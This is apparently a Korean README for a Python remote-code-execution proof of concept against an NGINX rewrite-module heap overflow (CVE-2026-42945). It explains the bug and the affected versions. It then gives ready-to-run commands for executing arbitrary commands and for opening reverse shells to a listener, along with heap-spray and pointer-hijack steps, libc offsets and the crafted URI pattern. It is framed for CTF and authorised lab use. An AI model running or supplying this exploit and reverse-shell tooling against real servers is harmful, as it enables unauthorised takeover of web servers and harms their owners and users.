
CVE-2026-42945(NGINX Rift)용 리버스 셸 리스너가 포함된 Python RCE PoC
원격 코드 실행 PoC for CVE-2026-42945, NGINX의 ngx_http_rewrite_module에 존재하는 힙 버퍼 오버플로 취약점입니다. 이 포크는 공개된 트리거 PoC에 임베디드 리버스 셸 리스너와 CTF 및 격리된 랩 환경을 위한 설정 가능한 익스플로잇 파라미터를 추가로 포함합니다.
ngx_http_rewrite_module0.6.27 – 1.30.0; NGINX Plus R32 – R361.30.1 / 1.31.0; NGINX Plus R36 P4, R35 P2, R32 P6is_args = 0 상태의 새로운 서브 엔진에서 실행되지만, 복사 패스는 is_args = 1 상태의 메인 엔진에서 실행되어 ngx_escape_uri(..., NGX_ESCAPE_ARGS)를 호출합니다. 이스케이프 가능한 바이트는 각각 3바이트로 확장되며, 공격자가 제어하는 URI 데이터로 작은 힙 버퍼를 오버플로시킵니다.$1, $2)와 교체 문자열의 ?를 사용하는 취약한 rewrite/set 설정; ASLR 비활성화 또는 알려진 힙/libc 베이스 주소; POST 본문을 통한 힙 스프레이 가능 여부.| 파일 | 설명 |
|---|---|
cve_2026_42945_rce_poc.py | 내장 리버스 셸 리스너 및 명령 실행 모드를 포함한 Python 익스플로잇. |
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--cmd "id > /tmp/pwned"
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--listen-ip 10.0.0.1 \
--listen-port 1337
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--shell-type python \
--listen-ip 10.0.0.1 \
--listen-port 1337
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--listen-ip 10.0.0.1 \
--listen-port 1337 \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000 \
--system-offset 0x50d70
ngx_pool_cleanup_s 구조체(system@libc | 명령어 포인터 | null)를 본문에 포함한 여러 POST 요청을 전송합니다. 이 본문들은 안정적인 힙 위치를 차지합니다.rewrite 엔드포인트에 조작된 GET 요청을 전송합니다. URI 패턴은 다음과 같습니다:
/api/<349 x 'A'><969 x '+'><6바이트 힙 주소>
ngx_pool_t의 cleanup 포인터를 손상시킵니다.cleanup 포인터가 system(command)를 호출하여 NGINX 워커 프로세스 내에서 공격자가 제어한 명령을 실행합니다.--shell이 사용된 경우 명령은 리버스 셸 페이로드이며, 임베디드 리스너가 들어오는 연결을 수신합니다.이 도구는 다음 용도로 제작되었습니다:
소유하지 않았거나 명시적 테스트 허가가 없는 시스템에는 사용하지 마십시오.
본 도구는 사용자 본인의 책임 하에 사용하십시오. 작성자는 무단 또는 불법적인 사용에 대해 책임을 지지 않습니다.
원본 취약점 연구 및 PoC: depthfirstdisclosures (https://github.com/depthfirstdisclosures/nginx-rift). 이 Python 리버스 셸 포크는 레드팀 랩 / CTF 사용을 위해 제작되었습니다.